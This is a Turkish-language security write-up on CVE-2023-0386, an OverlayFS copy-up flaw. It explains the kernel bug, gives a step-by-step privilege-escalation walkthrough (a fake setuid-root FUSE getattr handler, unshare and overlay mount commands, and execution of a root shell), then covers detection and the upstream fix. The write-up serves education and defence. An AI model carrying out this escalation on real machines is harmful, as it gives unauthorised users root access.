Skip to content

overlayfs copy-up UID race (CVE-2023-0386)

Unprivileged bir kullanıcı, FUSE lower layer'dan root sahipli bir setuid binary'sini OverlayFS upper directory'sine kopyalar; kernel setuid bit'ini ve root ownership'i korur çünkü dosyanın UID/GID'sinin caller'ın user namespace'inde map'li olup olmadığını hiç kontrol etmez.

Mechanism

Neden çalışır

OverlayFS bir copy-up mekanizması uygular: read-only bir lowerdir üzerinde duran bir dosya merged mount aracılığıyla değiştirildiğinde, kernel değişikliği uygulamadan önce dosyayı writable upperdir'e kopyalar. Bu kopyanın, kaynak dosyanın attribute'larını — ownership, mode bit'leri (setuid dahil) ve extended attribute'ları — sadık bir şekilde yeniden üretmesi beklenir.

Bug fs/overlayfs/copy_up.c içinde yaşıyor. ovl_copy_up_one() kaynak inode'un stat'ını (uid, gid ve setuid mode bit'leri dahil) okur ve dosyayı upper layer'da tam olarak bu attribute'larla yeniden oluşturur. Aslında zorlaması gereken ama zorlamadığı invariant şudur: kopyalanan UID/GID'nin mevcut user namespace'te temsil edilebilir olması gerekir. Bu kontrol olmadan, lower filesystem'i kontrol eden unprivileged bir kullanıcı uid=0 ve mode 04755 (setuid-root) iddiasında bulunan bir dosya sunabilir ve kullanıcının execute edebildiği bir directory'ye yazılırken kernel'in bu attribute'lara saygı göstermesini sağlayabilir.

Lower filesystem'i kontrol etmenin doğal yolu FUSE'dur: unprivileged bir kullanıcı, getattr handler'ı st_uid = 0 ve st_mode = S_ISUID | 0755 dahil istediği her şeyi döndüren bir FUSE filesystem mount edebilir. upperdir/workdir gerçek bir writable filesystem üzerine (örneğin /tmp) yerleştirilir. Copy-up tetiklendiğinde kernel FUSE'un sunduğu attribute'ları olduğu gibi kabul eder ve disk üzerinde gerçek bir root sahipli setuid binary üretir. Bunu çalıştırmak attacker'ın kodunu root olarak koşturur.

Ubuntu'ya özgü GameOver(lay) CVE'lerinin aksine, CVE-2023-0386 bir mainline bug'dır: yaklaşık 5.11 ile 6.1.x arasındaki upstream kernel'leri etkiler (6.2'de ve stable backport'larda 4f11ada10d0a ile düzeltildi). Yine de tipik olarak unprivileged user namespace'lere ihtiyaç duyar, böylece unprivileged caller FUSE ve OverlayFS'in mount'unu gerçekleştirebilir. CISA, in-the-wild exploitation gözlemledikten sonra CVE-2023-0386'yı KEV catalog'una eklemiştir.

Walkthrough

Klasik public PoC (örneğin xkaneiki / Werqy3) iş birliği yapan iki process'e bölünür: sahte bir setuid-root binary export eden bir FUSE server ve bunun üzerine OverlayFS mount edip copy-up'ı tetikleyen bir client.

  1. Kernel'in aralıkta olduğunu ve unprivileged userns + FUSE'un mevcut olduğunu doğrulayın:
$ uname -r
5.19.0-32-generic
$ cat /proc/sys/kernel/unprivileged_userns_clone   # Debian/Ubuntu knob
1
$ ls -l /dev/fuse
crw-rw-rw- 1 root root 10, 229 ... /dev/fuse
  1. FUSE server, getattr'ının root sahipli bir setuid binary olarak raporladığı tek bir dosya export eder. Kavramsal olarak handler'ı şunu döndürür:
static int gece_getattr(const char *path, struct stat *st, ...)
{
    st->st_uid  = 0;                       /* claim root ownership */
    st->st_gid  = 0;
    st->st_mode = S_IFREG | S_ISUID | 0777;/* setuid bit set      */
    st->st_size = magic_payload_size;
    return 0;
}
  1. Yeni bir user + mount namespace içinde, FUSE export'u lowerdir ve writable bir directory'yi upperdir olarak kullanarak OverlayFS mount edin:
$ unshare -rm   # CLONE_NEWUSER | CLONE_NEWNS, maps current uid->0 inside ns
# mount -t overlay overlay \
      -o lowerdir=/fuse_mnt,upperdir=/tmp/upper,workdir=/tmp/work \
      /tmp/merged
  1. Magic dosyayı merged mount aracılığıyla touch'layıp/değiştirerek copy-up'ı tetikleyin. Kernel FUSE dosyasını /tmp/upper'a kopyalar ve sahte uid=0 ile setuid bit'ini korur:
# touch /tmp/merged/magic_file
# ls -l /tmp/upper/magic_file
-rwsr-xr-x 1 root root ... /tmp/upper/magic_file
  1. Namespace'in dışında, /tmp/upper/magic_file artık host filesystem üzerinde gerçek bir setuid-root binary'dir. Bunu çalıştırmak bir root shell verir:
$ /tmp/upper/magic_file
# id
uid=0(root) gid=0(root) groups=0(root),...

Binary'nin payload'ı basitçe setuid(0); setgid(0); execl("/bin/bash", ...) yapar ve bu başarılı olur çünkü kernel exec sırasında setuid bit'ini uygulamıştır.

Detection

  • World-writable directory'lerde beliren setuid binary'lere dikkat edin (/tmp, /var/tmp, /dev/shm) — copy-up upper dir'leri genelde oradadır.
  • Real uid'si sıfır olmayan bir process'ten gelen, root sahipli bir setuid dosyasının execve'sinin hemen ardından setuid(0) gelmesini audit edin.
  • Bir user namespace içinde hızlı bir ardışıklıkla hem fuse/fuse.* hem de overlay filesystem'lerini mount eden unprivileged process'leri işaretleyin.

Mitigation

  • Copy-up'a bir mapping kontrolü ekleyen 4f11ada10d0ad3fd53e2bd67806351de63a4f9c3 fix commit'ini uygulayın:
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
    !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
    return -EOVERFLOW;
  • Unprivileged user namespace'leri devre dışı bırakın (kernel.unprivileged_userns_clone=0) veya container'ların ihtiyaç duymadığı yerlerde unprivileged kullanıcılar için FUSE'u kısıtlayın.
  • Container'lar için mount'u ve FUSE device'ını seccomp/AppArmor ile reddedin.

References